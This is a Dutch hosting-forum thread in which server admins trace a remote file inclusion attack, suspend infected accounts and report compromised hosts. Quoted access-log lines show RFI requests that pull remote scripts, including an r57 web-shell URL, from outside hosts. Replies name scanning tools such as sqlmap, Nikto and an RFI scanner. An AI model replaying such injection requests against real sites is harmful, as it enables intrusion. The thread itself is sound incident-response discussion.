Onderwerp: Hackpoging, waar komt ie vandaan?

Thanks everybody, alleen zoals ik al zei, van scripting heb ik weinig kaas gegeten, dus ik ben al blij als ik een beetje er uit wijs kom wat het doet. Dat lukt nog enigszins alleen niet alles.

@Mikeh: Bedankt, ik snapte hem wel, maar dacht eerst dat je iets anders wilde aanduiden omdat je het "jouw" zo in hoofletters had geschreven.
Nu dus alleen nog op zoek naar de website met het lekke script wat ze misbruikt hebben, dat zal dus wel even gaan duren.

Dump anders het IP in PM, dan gooi ik mn pen-test tool er effe snel over

Zag webserver03.top*sniplet*.nl ook terug in mn logs van gisteravond (viva las grep)
Hun heb ik net gemeld dat ze ook gedotslashed zijn en gaan het oplossen.

- je leest nu mee

Oorspronkelijk geplaatst door mikeh

Zag webserver03.top*sniplet*.nl ook terug in mn logs van gisteravond (viva las grep)
Hun heb ik net gemeld dat ze ook gedotslashed zijn en gaan het oplossen.

- je leest nu mee

Thanks

- Inmiddels site gevonden & gesuspend.

Hier ook eentje gevonden, en nu twee gevonden. Deze omvat ook zo'n heel script.

Code:

83.240.181.66 - - [20/May/2009:18:55:54 +0200] "GET //?page=http://www.zelte-hannover.de/sp.txt? HTTP/1.1" 200 4381

Er stond ook nog een russische bij maar die is niet meer bereikbaar.
Accounts zijn suspended nu.

Mikeh ook nog bedankt voor de scans!

www[punt]zelte-hannover[punt]de is dus ook een infected boxje, heb je aan een mail aan hun adres gestuurd?

Vandaag pas ja, mijn Duits is qua spraak wel goed maar qua schrift wat minder dus daar heb ik even de tijd voor genomen.
Althans ik heb betreffende site via de contact link benadert, niet de server eigenaar, wie dat ook moge zijn.

Verder is naar de abuse van Ziggo een mailtje gestuurd, meteen nadat het eerste account met lek script suspended was, bleek er eentje met een ziggo ip enorm veel te proberen de scriptjes via de suspended site op te roepen.
Eens zien of het iets uit haalt. Kan natuurlijk gespoofed zijn... maarja, dat mogen ze bij Ziggo dan verder uitzoeken, ze hebben een stuk van de log.

Misschien dat iemand hier ook nog mee kan helpen, ik zie continue dit in de logfile:

May 17 04:03:37 MRG005 kernel: Firewall: *TCP_OUT Blocked* IN= OUT=eth0 SRC=85.17.xx.xx DST=78.38.207.231 LEN=60 TOS=0x00 PREC=0x00
TTL=64 ID=19357 DF PROTO=TCP SPT=49256 DPT=81 WINDOW=5840 RES=0x00 SYN URGP=0

Het destination ip is een server of site van een Iraanse school maar op poort 81 is niets te zien. Het is echter wel uitgaand verkeer dus heb ik de alle homedirs afgezocht als volgt:

Code:

nohup find /home -name "*" -exec grep -ls 78.38.207.231 {} \; &

Geen resultaat dus het ip staat niet in een file in de home directory's.
Toch is het een uitgaande verbinding, is er nog een andere wijze om terug te vinden waar vandaan geprobeerd wordt om verbinding met dat ip te maken?
Ook chkrootkit en rkunter geven verder niets fouts aan.

Oorspronkelijk geplaatst door Blacky

Verder is naar de abuse van Ziggo een mailtje gestuurd, meteen nadat het eerste account met lek script suspended was, bleek er eentje met een ziggo ip enorm veel te proberen de scriptjes via de suspended site op te roepen.
Eens zien of het iets uit haalt. Kan natuurlijk gespoofed zijn... maarja, dat mogen ze bij Ziggo dan verder uitzoeken, ze hebben een stuk van de log.

Dat was prolly mijn thuis IP, aangezien ik 1; klant van @home ben en 2; die scripts over je www liet wandelen
Normaliter draai ik zulke tests via *snip*, blijkbaar toch iets vergeten aan te slingeren

Zou je dat ff kunnen rectificeren ?

Tnx

Oorspronkelijk geplaatst door mikeh

Dat was prolly mijn thuis IP, aangezien ik 1; klant van @home ben en 2; die scripts over je www liet wandelen
Normaliter draai ik zulke tests via *snip*, blijkbaar toch iets vergeten aan te slingeren

Zou je dat ff kunnen rectificeren ?

Tnx

@Mikeh, zou je aan kunnen geven welke scripts jij gebruikt voor de pen testing? eventueel hoeft dit niet via het forum, maar mag ook via PM. Ik gebruik namelijk zelf een inmiddels abandoned prgramma vanuit de old-days maar hieraan wordt niet meer ontwikkeld en heb tot op heden geen goede vervanger kunnen vinden

@Blacky,
controleer ook evne of dit ip niet in je /tmp directory voorkomt of dat er ergens code in een database is geplaatst en deze aangeroepen wordt.
wat je ook kan doen om zeker te zijn dat het op de hele box niet voorkomt: grep -r "ip" * vanuit de root in het filesystem (/)

@Mikeh: Nee volgens mij was jij dat niet, want jouw testen gaven een bepaalde weergave in de logs, dit was wat ik van die Ziggo user zag:

213.51.11x.xx - - [20/May/2009:18:14:21 +0200] "GET /suspended.page/?pivot_path=http://usuarios.lycos.es/poizonbox/r57.txt?? HTTP/1.
1" 200 3448

Bij mijn weten doet dat programma geen scripts aanroepen vanaf buitenlandse sites.
Of komt het ip je erg bekend voor? Ik stuur je wel even een pm, als het echt van jou thuis af komt zet ik het meteen weer recht maar die site is pas ongeveer een uurtje na jouw tests op suspended gezet.

@MMai: dat find commando laat er ook een soort grep op los zag ik, doet eigenlijk hetzelfde maar dat wilde ik vannacht nog even doen over de hele box.
In de /tmp komt niets vreemds voor, die is al een tijd geleden beveiligd en vreemde dingen worden meteen in een malicious.tar elders weggezet door CSF/LFD.
Toch bedankt voor het meedenken.

V.w.b. tools gebruik ik zelf o.a. Acunetix Web vulnarability scanner. Die ook lang niet altijd alles vindt maar je kunt al een redelijke indruk krijgen.
Kan wel zwaar voor je systeem zijn want laatst zette ik die aan met wat opties aan en dat resulteerde in behoorlijk wat http requests naar de server.

Mkeh gebruikt o.a. Nikto (ook erg handig zag ik) maar zal vast nog wel meer hebben.

Hi,

Op mijn privé laptop heb ik ietswat meer tools tot mijn beschikking dan op mn werk
Daar draait Samurai op, works like a charm.
Extra add-ons wat ik gebruik is sqlmap en een basic RFI scanner (ja, die van darkc0de) met een lijst van "lekke" weapps (die is overigens niet available for public)

Blacky zie PM